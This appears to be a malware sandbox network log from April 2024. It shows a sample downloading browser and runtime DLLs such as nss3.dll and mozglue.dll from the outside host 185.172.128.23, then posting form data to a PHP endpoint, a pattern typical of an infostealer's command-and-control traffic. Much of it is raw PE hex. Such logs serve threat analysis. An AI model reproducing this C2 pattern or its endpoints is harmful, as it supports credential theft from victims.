3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Apr 17, 2024 09:17:09.354939938 CEST	93	OUT	GET /8e6d9db21fb63946/mozglue.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 09:17:09.678288937 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:09 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Apr 17, 2024 09:17:10.606585026 CEST	94	OUT	GET /8e6d9db21fb63946/msvcp140.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 09:17:10.929694891 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:10 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 17, 2024 09:17:11.447340965 CEST	90	OUT	GET /8e6d9db21fb63946/nss3.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 09:17:11.768945932 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:11 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Apr 17, 2024 09:17:13.399951935 CEST	1289	IN	DELETE FROM %Q.sqlite_sequence WHERE name=%Q, x.%QSELECT * FROM %Q.%QUPDATE "%w".sqlite_sequence set name = %Q WHERE name = %QUPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) \|\| %Q \|\| substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %QSETUPGROUPCKR_NEXT_OTPSEC_ERROR_REVOKED_CERTIFICATE_OCSPCKA_NSS_SMIME_TIMESTAMPCKM_FORTEZZA_TIMESTAMPRECURSIVE STEPCKM_KEY_WRAP_SET_OAEPCKM_RSA_PKCS_OAEPCKM_SKIPJACK_WRAPCKM_SKIPJACK_PRIVATE_WRAPCKA_WRAPCKA_UNWRAPSSL_ERROR_NO_CYPHER_OVERLAPSSL_ERROR_NO_COMPRESSION_OVERLAPSSL_ERROR_BAD_2ND_CLIENT_HELLOSSL_ERROR_RX_UNEXPECTED_CLIENT_HELLOSSL_ERROR_RX_MALFORMED_CLIENT_HELLOSSL_ERROR_RX_UNEXPECTED_SERVER_HELLOSSL_ERROR_RX_MALFORMED_SERVER_HELLOSEC_ERROR_IOXP_SEC_FORTEZZA_NO_MORE_INFOXP_SEC_FORTEZZA_MORE_INFOCKA_NSS_SMIME_INFONaNCKT_NSS_TRUST_UNKNOWNSNWARNmalformed JSONCKA_TRUST_EMAIL_PROTECTIONNO ACTIONCKM_SHA256_KEY_DERIVATIONCKM_MD5_KEY_DERIVATIONCKM_SHA384_KEY_DERIVATIONCKM_SHA224_KEY_DERIVATIONCKM_MD2_KEY_DERIVATIONCKM_SHA512_KEY_DERIVATIONCKM_SHA1_KEY_DERIVATIONNSS_SSL_REQUIRE_SAFE_NEGOTIATIONSSL_ERROR_UNSAFE_NEGOTIATIONNSS_SSL_ENABLE_RENEGOTIATIONCKA_TRUST_NON_REPUDIATIONSEC_ERROR_BAD_INFO_ACCESS_LOCATIONSEC_ERROR_CERT_BAD_ACCESS_LOCATIONCKA_APPLICATIO Data Raw: Data Ascii:
Apr 17, 2024 09:17:13.637260914 CEST	94	OUT	GET /8e6d9db21fb63946/softokn3.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 09:17:13.959208965 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:13 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Apr 17, 2024 09:17:14.350485086 CEST	98	OUT	GET /8e6d9db21fb63946/vcruntime140.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 09:17:14.662009001 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:14 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 17, 2024 09:17:15.203078985 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBG Host: 185.172.128.23 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:15.704823971 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
